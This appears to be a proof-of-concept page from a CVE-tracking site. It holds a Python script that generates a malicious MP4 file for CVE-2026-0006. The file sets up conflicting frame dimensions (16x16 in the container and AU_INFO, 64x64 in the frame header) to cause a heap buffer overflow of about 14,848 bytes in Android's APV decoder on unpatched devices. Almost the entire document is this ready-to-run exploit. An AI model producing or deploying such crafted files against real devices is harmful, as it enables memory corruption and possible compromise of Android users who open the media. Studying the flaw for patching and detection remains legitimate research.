5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / generate_overflow_mp4.py PY
#!/usr/bin/env python3
"""
CVE-2026-0006 Exploit MP4 Generator

Creates an MP4 that triggers a heap buffer overflow in Android's APV decoder
(C2SoftApvDec / libopenapv) on pre-March 2026 patch levels.

Attack: AU_INFO PBU declares 16x16 → oapvd_info reports 16x16 → small buffers.
        FRAME PBU header declares 64x64 → oapvd_decode writes 64x64 → overflow.

Prerequisites:
  1. valid.apv in the same directory (64x64 YUV422 10-bit APV bitstream)
  2. apv-mp4/valid_ffmpeg.mp4 baseline created by ffmpeg:
     ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4

Usage:
  python3 generate_overflow_mp4.py
"""

import os
import struct
import sys

script_dir = os.path.dirname(os.path.abspath(__file__))

apv_path = os.path.join(script_dir, 'valid.apv')
baseline_mp4 = os.path.join(script_dir, 'apv-mp4', 'valid_ffmpeg.mp4')
output_mp4 = os.path.join(script_dir, 'apv-mp4', 'overflow_auinfo.mp4')

if not os.path.exists(apv_path):
    print(f"Error: {apv_path} not found", file=sys.stderr)
    sys.exit(1)

if not os.path.exists(baseline_mp4):
    print(f"Error: {baseline_mp4} not found", file=sys.stderr)
    print(f"Create it first: ffmpeg -f apv -i valid.apv -c copy -y {baseline_mp4}", file=sys.stderr)
    sys.exit(1)

with open(apv_path, 'rb') as f:
    apv = f.read()

original_pbu_data = apv[4:]  # strip AU_SIZE (333 bytes of PBU)

# Build AU_INFO PBU (type 65) claiming 16x16
au_info_payload = b''
au_info_payload += struct.pack('>H', 1)       # num_frames = 1
au_info_payload += bytes([0x01])               # pbu_type = PRIMARY_FRAME
au_info_payload += struct.pack('>H', 1)        # group_id = 1
au_info_payload += bytes([0x00])               # reserved
au_info_payload += bytes([0x21])               # profile_idc
au_info_payload += bytes([0x7B])               # level_idc
au_info_payload += bytes([0x40])               # band_idc(3)=010 + reserved(5)
au_info_payload += bytes([0x00, 0x00, 0x10])  # frame_width = 16
au_info_payload += bytes([0x00, 0x00, 0x10])  # frame_height = 16
au_info_payload += bytes([0x22])               # chroma_format_idc=2 + bit_depth=2
au_info_payload += bytes([0x00])               # capture_time_distance
au_info_payload += bytes([0x00])               # reserved
au_info_payload += bytes([0x00])               # trailing reserved

pbu_header = bytes([65, 0x00, 0x00, 0x00])     # type=65(AU_INFO), group_id=0, reserved=0
pbu_size = len(pbu_header) + len(au_info_payload)
au_info_pbu = struct.pack('>I', pbu_size) + pbu_header + au_info_payload

all_pbu_data = au_info_pbu + original_pbu_data

au_payload_with_sig = b'aPv1' + all_pbu_data
new_au_size = len(au_payload_with_sig)
mdat_data = struct.pack('>I', new_au_size) + au_payload_with_sig

with open(baseline_mp4, 'rb') as f:
    mp4 = bytearray(f.read())

# Patch apvC dimensions to 16x16
apvc_off = mp4.index(b'apvC')
rec_base = apvc_off + 4
struct.pack_into('>I', mp4, rec_base + 12, 16)
struct.pack_into('>I', mp4, rec_base + 16, 16)
print("apvC patched to 16x16")

# Patch apv1 visual sample entry dimensions to 16x16
apv1_off = mp4.index(b'apv1')
vse_w_off = apv1_off + 4 + 6 + 2 + 16
struct.pack_into('>H', mp4, vse_w_off, 16)
struct.pack_into('>H', mp4, vse_w_off + 2, 16)
print("apv1 VSE patched to 16x16")

# Patch tkhd dimensions to 16x16
tkhd_off = mp4.index(b'tkhd')
tkhd_size = struct.unpack('>I', mp4[tkhd_off-4:tkhd_off])[0]
tkhd_end = tkhd_off - 4 + tkhd_size
struct.pack_into('>I', mp4, tkhd_end - 8, 16 << 16)
struct.pack_into('>I', mp4, tkhd_end - 4, 16 << 16)
print("tkhd patched to 16x16")

# Replace mdat with crafted payload
mdat_tag_off = mp4.index(b'mdat')
mdat_box_start = mdat_tag_off - 4
old_mdat_size = struct.unpack('>I', mp4[mdat_box_start:mdat_box_start+4])[0]

new_mdat_box = struct.pack('>I', 8 + len(mdat_data)) + b'mdat' + mdat_data
new_mp4 = bytearray(mp4[:mdat_box_start]) + new_mdat_box + mp4[mdat_box_start+old_mdat_size:]

# Update stsz sample size
stsz_off = new_mp4.index(b'stsz')
stsz_sample_size = struct.unpack('>I', new_mp4[stsz_off+8:stsz_off+12])[0]
if stsz_sample_size != 0:
    struct.pack_into('>I', new_mp4, stsz_off + 8, len(mdat_data))
else:
    struct.pack_into('>I', new_mp4, stsz_off + 16, len(mdat_data))
print(f"stsz updated: sample_size={len(mdat_data)}")

# Update stco chunk offset
stco_off = new_mp4.index(b'stco')
new_chunk_offset = mdat_box_start + 8
struct.pack_into('>I', new_mp4, stco_off + 12, new_chunk_offset)
print(f"stco updated: chunk_offset={new_chunk_offset}")

with open(output_mp4, 'wb') as f:
    f.write(new_mp4)

print(f"\nWritten {len(new_mp4)} bytes to {output_mp4}")
print(f"Container + AU_INFO: 16x16 | FRAME PBU: 64x64 | Overflow: ~14,848 bytes")